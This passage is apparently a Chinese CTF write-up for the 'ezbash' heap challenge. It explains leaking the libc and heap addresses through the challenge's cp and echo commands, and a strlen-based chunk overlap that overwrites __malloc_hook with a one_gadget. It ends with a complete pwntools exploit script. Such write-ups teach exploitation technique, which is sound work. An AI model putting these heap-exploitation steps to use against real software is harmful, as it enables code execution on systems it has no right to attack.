这是一个很无语的过程,因为 echo 的话,一定会清空数据。所以就是利用 cp,把 unsortedbins 的 chunk 申请出来,因为 copycontext 不会清空 chunk。所以我们申请一个 0x8,因为不会写入空字符,就可以把 unsortedbins 申请出来的堆块的前八字节覆盖,到那时保留了 bk 指针,同时也跟前八字节组成新的字符串。这样就泄露了 libc 的地址。为了方便,我们把要拷贝的文件的 context 的 chunksize 写大一点,后面会比较方便。入下面的 cccc 文件,context 的 chunksize=0x551

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mkdir(b"AAAA")
touch(b'cccc')
touch(b'dddd')
cd(b"AAAA")
touch(b"BBBB")

echo(b'a'*0x3f2,b"BBBB")
cd(b"../")
echo(b'c'*0x3f0,b"cccc")
echo(b'd'*8,b'dddd')
cp(b'dddd',b'AAAA')
cd(b"AAAA")
cat(b'dddd')
r.recvuntil(b'd'*8)
libcbase = u64(r.recv(6).ljust(8,b'\x00'))-0x3ebca0 +0x1ff0c0
print("libcbase : ",hex(libcbase))
malloc_hook = libcbase + 0x1ecb70-0x23

# 泄露堆地址

有了上面的思路,泄露堆地址也很容易,glibc2.31 存在 tchche, 拷贝一字节,就可以申请一个 0x20 的 chunk,所以提前布局 2 个 0x20 的 chunk. 申请到的 tache chunk 的 fd 就不为空,我们只需要低位的几个字节就可以,我布局的两个 chunk 很近,我只要覆盖最低字节。然后就泄露了堆地址。值得一提的是,2.31 的 tcache 的 bk 指针指向 tcache,但是申请出来的时候,会自动清空 bk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#leak the chunk addr
cd(b'../')
mkdir(b'ii')
cp(b'dddd',b'ii')
rmv(0,b'ii')
cd(b"AAAA")
rmv(1,b'dddd')
gdb.attach(r)
cd(b'../')
echo(b'\x70',b'dddd')
cp(b'dddd',b'AAAA')
gdb.attach(r)
cd(b"AAAA")
cat(b'dddd')
r.recv()
heap_addr = u64(r.recv(6).ljust(8,b'\x00')) - 0x001470

# 最后的攻击

现在 libc 的地址有了,如何实现任意地址写,因为保护全开,优先考虑了 malloc_hook + onegadget 的攻击

问题来了,如何实现任意地址写?unlink 的攻击无法布局 fakechunk (因为地址只有 6 字节,我们只能写入一个地址)。

基本的攻击手法必要前提在哪里,溢出,UAF,

任意地址写,要么我们拿到任意地址的 fakechunk,要么修改文件的 context 的指针,然后 echo 或者 cp。

我们伪造一个 fakechunk 的可能性不大,所以我们要修改 context 指针。这样的话,没有 uaf,那就考虑 overlap。

关键点来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if ( src->context || !des->context )
{
if ( src->context && des->context ) // 文件复制到文件
{
v4 = strlen(src->context);
v5 = strlen(des->context);
if ( v4 > v5 )
{
dest = realloc(des->context, v4 + 1);
memset(dest->context, 0, v4 + 1);
}
else
{
memset(des->context, 0, v5);
}
result = strncpy(dest->context, src->context, v4);
}
else // 没有context
{
result = src->context;
if ( result )
{
result = des->context;
if ( !result )
result = copycontext(src, des);
}
}
}

echo 是检查 chunksize, 这里用 strlen,我们 echo 以及 cp 都不会在末尾强行补一个空字符,如果我们申请的 0x28,那么我们就可以填满 chunk 的用户空间,而且数据会与下一个堆块的 chunksize 来年再一个,只要 v4=v5, 就可以修改 chunksize,把后面的 chunk 包含进去。

我们把文件部署在 actim 后面,0x51 就是我们的文件,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
malloc(0x130,b'2')
malloc(0x120,b'3')
malloc(0x130,b'5')
malloc(0x1,b'6')
touch(b'mmmm')
dbg()
#gdb.attach(r,'brva 0x01884')
#change the chunksize wo achieve overlap
malloc(0x68,b'1',b'\x51\x04')
#gdb.attach(r)

free(b'2')
dbg()
mkdir(b'dir')

malloc(0x70,b'dir')
mkdir(b'dir2')
mkdir(b'dir3')


malloc(0,b'dir3')

print("malloc_hook : ",hex(malloc_hook))
print(p64(malloc_hook))


pad = p64(malloc_hook)
print(pad[0:6])
print(pad[5:7])
malloc(0x8,b'dir2',pad[0:6])
dbg()
pad = p64(onegadget)
echo(b'a'*(0x23)+pad[0:6],b'5')

image-20220425154952331

修改后

image-20220425155032483

你只能写入一个地址,context 在 chunk 的第四个 8 字节位置,我们要向改掉,申请堆块就要拿到 chunk+0x10 的 chunk

image-20220425155752574

这里就是我们的 5 那个文件。我们目标是申请到她 + 0x10 的 chunk

image-20220425160145339

同时我们已经将 malloc_hook-0x23 的地址写到了对应的 context 指针位置,我们下 main 只需要对他进行编辑

这里为甚不直接使用 malloc_hook.cp 里面 strlen 返回的是 0,会进行 realloc,但是不是个合法的 fakechunk,realloc 会报错,echo 也要 chunk 的头部信息,所以布置在 malloc_hook-0x23,这个天然的 fakechunk, 最后 echo 进去,或者 cp 也行

# exp

赛后我们并没有对 exp 进行重新的整理,比较凌乱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
from pwn import *
r=process('./ezbash')
#r=remote('140.82.17.215',20642)
#context.log_level = 'debug'
elf = ELF('./ezbash')

hacker = "/$ "

def ch(cmd):
r.sendlineafter(hacker,cmd)

def ls(ptr):
cmd = b"ls "+ptr
ch(cmd)

def cat(file):
ch(cmd = b"cat "+file)

def cd(addr):
ch(b"cd "+addr)
def help():
ch("help")

def echo(text,filename):
cmd = b"echo " + text +b" -> "+filename
ch(cmd)

def touch(filename):
ch(b"touch "+filename)

def rmv(flag,filename):
if flag==0:
cmd = b"rm -r "+filename
else :
cmd = b"rm "+filename
ch(cmd)

def mkdir(filename):
ch(b"mkdir "+filename)

def pwd():
ch("pwd")

def cp(a,b):
cmd = b"cp "+a+b" "+b
ch(cmd)

def malloc(size,ptr,tail=b'\x00'*0):
pad = b'a'*size + tail
echo(pad,b'cccc')
cp(b'cccc',ptr)

def malloc1(size,ptr,tail=b'\x00'*0):
pad = b'a'*size + tail
echo(pad,b'a')
cp(b'a',ptr)

def free(ptr):
cp(b'free',ptr)

def dbg():
gdb.attach(r)


mkdir(b"AAAA")
touch(b'cccc')
touch(b'dddd')
cd(b"AAAA")
touch(b"BBBB")

echo(b'a'*0x3f2,b"BBBB")
cd(b"../")
echo(b'c'*0x3f0,b"cccc")
echo(b'd'*8,b'dddd')
cp(b'dddd',b'AAAA')
cd(b"AAAA")
cat(b'dddd')
r.recvuntil(b'd'*8)
libcbase = u64(r.recv(6).ljust(8,b'\x00'))-0x3ebca0 +0x1ff0c0
print("libcbase : ",hex(libcbase))
malloc_hook = libcbase + 0x1ecb70-0x23

#leak the chunk addr
cd(b'../')
mkdir(b'ii')
cp(b'dddd',b'ii')
rmv(0,b'ii')
cd(b"AAAA")
rmv(1,b'dddd')

cd(b'../')
echo(b'\x70',b'dddd')
cp(b'dddd',b'AAAA')

cd(b"AAAA")
cat(b'dddd')
r.recv()
heap_addr = u64(r.recv(6).ljust(8,b'\x00')) - 0x001470
fake = heap_addr+0x2800
print("heap_addr : ",hex(heap_addr))
#onegadget = 0xcafebabedeadbeef
onegadget = 0xe3b31+libcbase
cd(b'../')

touch(b"free")
touch(b'actim')
touch(b'null')
malloc(0x2a0,b'nop')
malloc(0x50,b'1111')
malloc(0x110,b'2222')



#clean the chunk
malloc(0x40,b'3')
malloc(0x40,b'4')
#gdb.attach(r)
malloc(0x68,b'1')
rmv(1,b'3')

malloc(0x130,b'2')
malloc(0x120,b'3')
malloc(0x130,b'5')
malloc(0x1,b'6')
touch(b'mmmm')
dbg()
#gdb.attach(r,'brva 0x01884')
#change the chunksize wo achieve overlap
malloc(0x68,b'1',b'\x51\x04')
#gdb.attach(r)

free(b'2')
dbg()
mkdir(b'dir')

malloc(0x70,b'dir')
mkdir(b'dir2')
mkdir(b'dir3')


malloc(0,b'dir3')

print("malloc_hook : ",hex(malloc_hook))
print(p64(malloc_hook))


pad = p64(malloc_hook)
print(pad[0:6])
print(pad[5:7])
malloc(0x8,b'dir2',pad[0:6])
dbg()
pad = p64(onegadget)
echo(b'a'*(0x23)+pad[0:6],b'5')

touch(b'7')

r.interactive()

题目文件在链接里

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal